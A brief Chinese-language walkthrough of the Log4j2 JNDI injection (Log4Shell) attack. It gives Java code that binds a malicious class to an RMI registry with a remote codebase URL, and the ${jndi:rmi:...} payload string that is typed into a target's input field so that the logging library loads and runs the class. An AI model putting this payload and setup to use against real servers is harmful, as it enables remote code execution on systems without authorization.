1.黑客在本地自定义一个类,类中的构造或静态代码块中写入恶意代码
2.本地将这个类,绑定到目标服务器的jndi服务中,例如命名为:attack
Registry registry = LocateRegistry.createRegistry(1099);
// 要绑定到jndi的类,目标服务器地址
Reference aa = new Reference("com.kunkun.attack","com.kunkun.Zed","com.kunkun.Zed", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
// 绑定的变量名称
registry.bind("attack", refObjWrapper);
3.访问目标服务器的前端页面,输入框中输入: $ {jndi:rmi:目标服务器地址:端口/jndi服务名称}
rmi表示为远端资源
例如:${jndi:rmi:目标服务器地址:端口/attack}
若用户日志框架使用的是log4j2.x版本,且日志会打印用户所输入的内容,则会去执行这段代码,实例化步骤1中的自定义类,这样就触发了构造或静态代码块中的恶意外代码